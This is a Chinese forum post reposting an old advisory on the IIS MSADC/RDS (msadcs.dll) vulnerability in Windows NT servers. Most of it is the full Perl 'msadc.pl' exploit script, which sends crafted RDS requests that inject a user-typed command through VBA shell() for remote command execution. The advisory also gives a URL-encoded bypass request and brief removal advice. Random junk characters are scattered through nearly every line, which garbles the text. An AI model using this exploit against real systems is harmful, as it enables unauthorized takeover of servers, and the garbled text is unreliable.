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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) mi ik%7>W  
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涉及程序: C^3 <={  
Microsoft NT server O#b6mKPt;t  
O|\J}rm'  
描述: c$ao:nP)D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 dUsYZdQs  
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详细: 9Kpa><  
如果你没有时间读详细内容的话,就删除: M2d$4-<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  RwKdxK+;  
有关的安全问题就没有了。 Mc=$/ o  
6tB+JF  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 J3,fk)  
!i{aMxUP  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Z LB4m`  
关于利用ODBC远程漏洞的描述,请参看: OPwtV9%  
.}^g!jm~h  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ao%NK<Lt  
&wi e]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9`wZz~hL"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <nE>XAI_7  
`q?8A3A  
这里不再论述。 BZ:H`M`n  
-- PtZ]Z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: A$<.a'&T!  
(gy#js #  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &{ay=Mj  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 5XO;N s  
Q7*SE%H  
YX=a#%vrl  
#将下面这段保存为txt文件,然后: "perl -x 文件名" kv3E4,<9  
3_txg>P"  
#!perl 4~y(`\0?4  
# tro7Di2Q  
# MSADC/RDS 'usage' (aka exploit) script ?h.wK  
# TX$r `~  
# by rain.forest.puppy JM=JH 51`  
# GYJ80k|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me MJOz.=CbhR  
# beta test and find errors!  ;hY S6  
6;u$&&c(  
use Socket; use Getopt::Std; 3 N.~mR  
getopts("e:vd:h:XR", \%args); '3_]Gu-D  
Ge2q%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; s1=X>'q  
:QpuO1Gu  
if (!defined $args{h} && !defined $args{R}) { [ p{#XwN  
print qq~ s8wmCzB~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 61. Brp.eP  
-h <host> = host you want to scan (ip or domain) J!0DR4=Xi  
-d <seconds> = delay between calls, default 1 second !6BW@GeF]  
-X = dump Index Server path table, if available :ZTc7 }  
-v = verbose :axRoRg  
-e = external dictionary file for step 5 xGu r  
PfreAEv,  
Or a -R will resume a command session 5i> $]*o  
b@rVo;  
~; exit;} }'""(,2  
-}=i 04^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Rec6c&5_  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} }v Z+A  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ' qWALu  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); m5L-67[sB  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} +g` 'J$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } BbW^Wxd3  
@{YS}&Q/  
if (!defined $args{R}){ $ret = &has_msadc; `4(e  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} sp#p8@Cj  
e}Cif2#d~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >ZPsjQuf"  
. "cmd /c "; )Gj8X}DM  
$in=<STDIN>; chomp $in; i;NUAmx  
$command="cmd /c " . $in ; |o{:ZmzM  
/`f^Y>4gD  
if (defined $args{R}) {&load; exit;} B-.gI4xa  
AmaT0tzJC  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]e^c=O`$  
&try_btcustmr; }R1< 0~g  
s>0't  
print "\nStep 2: Trying to make our own DSN..."; T,]7ICF#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; "B =  
}!;s.[y  
print "\nStep 3: Trying known DSNs..."; p;._HJ(  
&known_dsn; _9JhL:cY  
q<\,  
print "\nStep 4: Trying known .mdbs..."; 6I1,:nLL<  
&known_mdb; )=5ng-  
iMIlZ  
if (defined $args{e}){ qp/v^$EA  
print "\nStep 5: Trying dictionary of DSN names..."; T? tG~  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ])L A42|  
CZ(/=3,3n  
print "Sorry Charley...maybe next time?\n"; |p><'Q% *  
exit; dik:4;  
4"{ooy^Q  
############################################################################## 2ggdWg7z  
0o+6Q8q  
sub sendraw { # ripped and modded from whisker y9_K, g  
sleep($delay); # it's a DoS on the server! At least on mine... A3|Dz&@:  
my ($pstr)=@_; D$bIo "  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )Z(TCJ~~!  
die("Socket problems\n"); %%NlTE8*  
if(connect(S,pack "SnA4x8",2,80,$target)){ o>/YAX:.!T  
select(S); $|=1; /wP@2ADB  
print $pstr; my @in=<S>; L%Ow#.[C2  
select(STDOUT); close(S); W.dt:_  
return @in; Rn{iaM2Y<  
} else { die("Can't connect...\n"); }} : y5<go8e  
kBYNf =  
############################################################################## Hj:r[/  
oN{Z+T :  
sub make_header { # make the HTTP request O) WCW<p  
my $msadc=<<EOT XLAN Np%E  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 FP;Ccl"s  
User-Agent: ACTIVEDATA s0DGC  
Host: $ip jJuW-(/4[  
Content-Length: $clen Q.]}]QE   
Connection: Keep-Alive c8L~S/t  
%7"X(Ts7B  
ADCClientVersion:01.06 iTag+G4*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "kMguK}c  
wm)#[x #  
--!ADM!ROX!YOUR!WORLD! bKrhIU[  
Content-Type: application/x-varg D+]a.& {p  
Content-Length: $reqlen cgm81+[%r  
Fb7#<h  
EOT TQx.KM>y  
; $msadc=~s/\n/\r\n/g; IG|X!l  
return $msadc;} o3I Tr';  
fRtUvC-#H  
############################################################################## O)ME"@r@:  
'h^0HE\~p  
sub make_req { # make the RDS request MxGu>r  
my ($switch, $p1, $p2)=@_; }z\_;\7  
my $req=""; my $t1, $t2, $query, $dsn; 9T |IvQK8  
RAG3o-  
if ($switch==1){ # this is the btcustmr.mdb query s<oNE)xe  
$query="Select * from Customers where City=" . make_shell(); 1_\;- !t  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . !1q 9+e  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} E}sO[wNPf  
q)Fq i  
elsif ($switch==2){ # this is general make table query $:  ]o]a  
$query="create table AZZ (B int, C varchar(10))"; FI3)i>CnW  
$dsn="$p1";} 4$*%gL;f^  
&4b&X0pU  
elsif ($switch==3){ # this is general exploit table query /%&2HDA)  
$query="select * from AZZ where C=" . make_shell(); %n hm  
$dsn="$p1";} c0hwc1kv-  
f}1&HI8r  
elsif ($switch==4){ # attempt to hork file info from index server QNA RkYY~|  
$query="select path from scope()"; iMs5zf <M  
$dsn="Provider=MSIDXS;";} hRty [  
WHjUR0NZ  
elsif ($switch==5){ # bad query R}lsnX<  
$query="select"; SE),":aY  
$dsn="$p1";} ``OD.aY^s  
2 !At2P2  
$t1= make_unicode($query); VUhbD  
$t2= make_unicode($dsn); |!"2fI  
$req = "\x02\x00\x03\x00"; L{(QpgHZ  
$req.= "\x08\x00" . pack ("S1", length($t1)); #B:hPZM1  
$req.= "\x00\x00" . $t1 ; O2BW6Wc  
$req.= "\x08\x00" . pack ("S1", length($t2)); Sh?4r i@:  
$req.= "\x00\x00" . $t2 ; %,Ap7X3:QT  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :{oZ~<  
return $req;} *e-A6S h  
emdoA:w+   
############################################################################## IRn2 |  
m < 3Ao^I+  
sub make_shell { # this makes the shell() statement d1U\ft:gV  
return "'|shell(\"$command\")|'";} yQ^($#Yk  
<o+<H  
############################################################################## ~ug= {b  
Nkp)Ax&  
sub make_unicode { # quick little function to convert to unicode 6S+U&Ce\  
my ($in)=@_; my $out; ]p;FZ4-T  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } tkXEHsRT  
return $out;} ;$a@J&  
mZx&Xez_G  
############################################################################## cZT({uYGL  
M-;4   
sub rdo_success { # checks for RDO return success (this is kludge) IdXZoY  
my (@in) = @_; my $base=content_start(@in); CMn{LQcC  
if($in[$base]=~/multipart\/mixed/){ 7{I h_.#  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <<i3r|}  
return 0;} BQ @huns3  
T'LIrf  
############################################################################## sgO'wXcoP  
+reor@h  
sub make_dsn { # this makes a DSN for us ~i21%$  
my @drives=("c","d","e","f"); i:u1s"3~  
print "\nMaking DSN: "; Rr!Y3)f;  
foreach $drive (@drives) { 7^Ns&Q  
print "$drive: "; v{9t]s>B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . X`fn8~5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" C&6IU8l\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); XK: 9r{r{  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; M?[h0{^K  
return 0 if $2 eq "404"; # not found/doesn't exist ^b7GH9<&  
if($2 eq "200") { Tp0bS  
foreach $line (@results) { 5cEcTJL[C  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Y_]De3:V0B  
} return 0;} 1!.(4gV  
hs?sGr  
############################################################################## +e-G,%>9  
JqMDqPIQ  
sub verify_exists { %zSuK8kxV  
my ($page)=@_; fwBRWr9  
my @results=sendraw("GET $page HTTP/1.0\n\n");  OX"j#  
return $results[0];} ;\[(- )f!=  
J]q%gcM  
############################################################################## 8,atX+tc  
#'q<v"w  
sub try_btcustmr { v*9<c{a  
my @drives=("c","d","e","f"); 3q`)*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); SL,p36N  
;s~X  
foreach $dir (@dirs) {  :<Fe  
print "$dir -> "; # fun status so you can see progress =L C:SFzF  
foreach $drive (@drives) { 5* 0y7K/D  
print "$drive: "; # ditto ZvUC I8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Y& F=t/U2  
$reqlenlen=length( "$reqlen" ); HU9Sl*/  
$clen= 206 + $reqlenlen + $reqlen; 4[BG#  
QjC22lW-  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); tOOchu?=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} iC*F  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [xT:]Pw}  
EZYBeqv  
############################################################################## 9 Rx s  
0d3+0EN{  
sub odbc_error { gd0Vp Xf'  
my (@in)=@_; my $base; |,aG%MTL  
my $base = content_start(@in); .cR -V`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this EaWS. eK  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jZ%TJ0(H  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \tRG1&{$%  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e#B#B  
return $in[$base+4].$in[$base+5].$in[$base+6];} [2dn\z28  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; (E,Yo  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . oX4q`rt  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ~`D|IWMDq  
Z(ZiFPx2Z  
############################################################################## HXoX  
b]7GmRekl  
sub verbose { /RyR>G!  
my ($in)=@_; ?h0X,fl3  
return if !$verbose; $-&BB(-{E&  
print STDOUT "\n$in\n";} #_B-4sm  
[y0O{,lI  
############################################################################## HBY.DCN[Z  
2QNNp:`6  
sub save { J -ePE7i  
my ($p1, $p2, $p3, $p4)=@_; o=RM-tR`v  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; T2D<UhP  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 8v7 1e>  
close OUT;} .)+h H y  
ZlHDi!T  
############################################################################## 0Hs|*:Y1D  
S=xA[%5  
sub load { XUF\r]B,9  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^0#; YOk  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); z`Hy'{1  
@p=<IN>; close(IN); )~V4+*<  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); X{^}\,cVtG  
$target= inet_aton($ip) || die("inet_aton problems"); TyKWy0x-3  
print "Resuming to $ip ..."; .^bft P\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5qf BEPJ  
if($p[1]==1) { zvvP81$W  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ;r /;m\V  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; =E&OuX-R  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'SYo_!  
if (rdo_success(@results)){print "Success!\n";} [|~2X>  
else { print "failed\n"; verbose(odbc_error(@results));}} 9z I.pv+]  
elsif ($p[1]==3){ `y+-H|%?  
if(run_query("$p[3]")){ WO6/X/#8b  
print "Success!\n";} else { print "failed\n"; }} Lw'9  
elsif ($p[1]==4){ bT6sb#"W  
if(run_query($drvst . "$p[3]")){ n9;;x%6.I  
print "Success!\n"; } else { print "failed\n"; }} DOz\n|8S  
exit;} ^ZM0c>ev=l  
{T'GQz+R"  
############################################################################## c>1RP5vx  
ZvGgmLN  
sub create_table { UA~RK2k?  
my ($in)=@_; !m(4F(!"h  
$reqlen=length( make_req(2,$in,"") ) - 28; ]hud4i~  
$reqlenlen=length( "$reqlen" ); >|Q:g,I  
$clen= 206 + $reqlenlen + $reqlen; NWfAxkz {/  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?k[p<Uo  
return 1 if rdo_success(@results); 3M0+"l(X  
my $temp= odbc_error(@results); verbose($temp); ez3Z3t`  
return 1 if $temp=~/Table 'AZZ' already exists/; fZKt%m  
return 0;} kGkA:g:  
Y:ldR  
############################################################################## l/y]nw  
IZ3{>N V  
sub known_dsn { muW!xY  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Ro=AADv@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $ \*` }Y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |xoF49  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); XCsiEKZ_i  
IkzTJ%>  
foreach $dSn (@dsns) { OquAql:   
print "."; 3K@@D B6  
next if (!is_access("DSN=$dSn")); dV?5Q_}  
if(create_table("DSN=$dSn")){ U6[ang'l  
print "$dSn successful\n"; ?4G|+yby  
if(run_query("DSN=$dSn")){ Zs2-u^3&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,&HR(jTo  
print "Something's borked. Use verbose next time\n";}}} print "\n";} OOBhbpg!D  
zu2HH<E  
############################################################################## Q/I)V2a1i  
nH !3(X*  
sub is_access { $XBAZ<"hd  
my ($in)=@_; }%TSGC4{  
$reqlen=length( make_req(5,$in,"") ) - 28; OndhLLz  
$reqlenlen=length( "$reqlen" ); `N/RHb%  
$clen= 206 + $reqlenlen + $reqlen; 6+K_Z\  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]=73-ywn]  
my $temp= odbc_error(@results); d {2  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ~e@>zoM'^  
return 0;} @OV-KT[>  
k;dXOn  
############################################################################## z5Qs @dG  
Lh$dzHq  
sub run_query { ExHAY|UA  
my ($in)=@_; 2h {q h  
$reqlen=length( make_req(3,$in,"") ) - 28; E3/:.t  
$reqlenlen=length( "$reqlen" ); 9^F2$+T[:  
$clen= 206 + $reqlenlen + $reqlen; 8 iC:xcN3  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2WvN2" f3  
return 1 if rdo_success(@results); w'7R4  
my $temp= odbc_error(@results); verbose($temp); m+$ @'TbP  
return 0;} MVCl.o  
_ia!mT <  
############################################################################## n uQM^2  
:Zw @yt  
sub known_mdb { MVv1.6c7Y  
my @drives=("c","d","e","f","g"); {}>n{_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); pN[0YmY#  
my $dir, $drive, $mdb; IO.<q,pP!_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; o**yZ2  
%qsvtc`  
# this is sparse, because I don't know of many Zszs1{t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", (y4#.vZh:  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2_QN&o ~h  
"\\system32\\certmdb.mdb", d6 _C"r  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% h7_)%U<J2  
K_-d(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *HM?YhR  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,je`YEC  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", P}3}ek1Ax  
"\\cfusion\\cfapps\\security\\realm_.mdb", GgFi9Ffj  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", T&"i _no*  
"\\cfusion\\database\\cfexamples.mdb", ;eB ~H[S/  
"\\cfusion\\database\\cfsnippets.mdb", 9vGs;  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", f%qt)Ick  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?Ce#BwQ>  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Vs 0 SXj  
"\\cfusion\\database\\smpolicy.mdb", ":?T%v>  
"\\cfusion\\database\cypress.mdb", \ SCy$,m  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^ DAa%u  
"\\website\\cgi-win\\dbsample.mdb", u>T76,8|\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", QYE7p\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w5~i^x  
); #these are just r;cV&T/?  
foreach $drive (@drives) { R -elIp  
foreach $dir (@dirs){ :_dICxaLZT  
foreach $mdb (@sysmdbs) { K3$` Kv>I  
print "."; 5a8>g [2U  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \Xg?Ug*9w  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )+O r  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Il~01|3+m  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; {gy+3  
} else { print "Something's borked. Use verbose next time\n"; }}}}} q{4|Kpx@  
fJ80tt?r  
foreach $drive (@drives) { %EbiMo ]3B  
foreach $mdb (@mdbs) { d}0qJoH4  
print "."; J0<p4%Cf  
if(create_table($drv . $drive . $dir . $mdb)){ f5dR 5G  
print "\n" . $drive . $dir . $mdb . " successful\n"; E%k7wM {  
if(run_query($drv . $drive . $dir . $mdb)){ U :9=3A2$x  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?p8Qx\%*  
} else { print "Something's borked. Use verbose next time\n"; }}}} m24v@?*  
} +GNWF% zN  
$G?(OWI}l`  
############################################################################## %|Hp Bs#'  
ML!9:vz  
sub hork_idx { {/M\Q@j  
print "\nAttempting to dump Index Server tables...\n"; 7|D|4!i2Y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; L-'k7?%(  
$reqlen=length( make_req(4,"","") ) - 28; M?:\9DDd  
$reqlenlen=length( "$reqlen" ); r:l96^xs  
$clen= 206 + $reqlenlen + $reqlen; Q^h5">P  
my @results=sendraw2(make_header() . make_req(4,"","")); mb\t/p  
if (rdo_success(@results)){ bcJ@-i0V  
my $max=@results; my $c; my %d; 8cr NOZS6  
for($c=19; $c<$max; $c++){ xl!K;Y2<  
$results[$c]=~s/\x00//g; A]y*so!)>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; H*U`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; z& 'f/w8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; f~gSJ< t4  
$d{"$1$2"}="";} #Q6w+"  
foreach $c (keys %d){ print "$c\n"; } =Lw3 \5l  
} else {print "Index server doesn't seem to be installed.\n"; }} 3XVk#)lw  
a?<?5   
############################################################################## @!H '+c  
%O) Z  
sub dsn_dict { Jh2Wr!5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); C-#.RI7  
while(<IN>){ ?eWJa  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; C6k4g75U2  
next if (!is_access("DSN=$dSn")); W8/(;K`/  
if(create_table("DSN=$dSn")){ ]tVl{" .{  
print "$dSn successful\n"; {rGYRn,  
if(run_query("DSN=$dSn")){ V<0$xV1b|=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d(l|hmj4j9  
print "Something's borked. Use verbose next time\n";}}} D!l8l49hLu  
print "\n"; close(IN);} g,?\~8-c  
!kh{9I>M  
############################################################################## $N\+,?  
K\sbt7~  
sub sendraw2 { # ripped and modded from whisker fA XE~  
sleep($delay); # it's a DoS on the server! At least on mine... [@.B4p  
my ($pstr)=@_; k:0P+d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mU]s7` %<>  
die("Socket problems\n"); r{"uv=,`  
if(connect(S,pack "SnA4x8",2,80,$target)){ .Vh*Z<9S4  
print "Connected. Getting data"; |3@=CE7G  
open(OUT,">raw.out"); my @in; i[=C_+2  
select(S); $|=1; print $pstr; syFI$rf _  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )fCMITq.|  
close(OUT); select(STDOUT); close(S); return @in; (v;A'BjN  
} else { die("Can't connect...\n"); }} T +\B'"  
1o#vhk/ "+  
############################################################################## zz3 r<?#5  
[:pl-_.C  
sub content_start { # this will take in the server headers DcU C,  
my (@in)=@_; my $c; Q&wYc{TUbm  
for ($c=1;$c<500;$c++) { C"No5r'K3  
if($in[$c] =~/^\x0d\x0a/){ +!$dO'0nt,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @zs1>\J7  
else { return $c+1; }}} `E;)`J8b  
return -1;} # it should never get here actually AQn[*  
E4m:1=Nd~]  
############################################################################## (HSw%e  
]PVt o\B=  
sub funky { q] ZSj J  
my (@in)=@_; my $error=odbc_error(@in); syMm`/*/G-  
if($error=~/ADO could not find the specified provider/){ Ld~4nc$H8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; pX]21&F  
exit;} 3Q$c'C  
if($error=~/A Handler is required/){ 0.(Ml5&e  
print "\nServer has custom handler filters (they most likely are patched)\n"; <,-,?   
exit;} |KaR n;BM  
if($error=~/specified Handler has denied Access/){ Xoi9d1fO  
print "\nServer has custom handler filters (they most likely are patched)\n"; [Pqn 3I[  
exit;}} Qg{WMlyOP  
F G _,  
############################################################################## {9{J^@@  
_=T]PSauI  
sub has_msadc { + o{*r#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); f-]><z  
my $base=content_start(@results); G|V\^.f<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ]W|RtdF3.N  
return 0;} K Dz]wNf  
%%x0w^  
######################## r4S=I   
k) 3s?  
\d$Rd")w  
解决方案: /sH0x,V  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 777rE[\@b  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6,3}/hgWJ$  
ktWZBQY  
拿出来充数 哈哈
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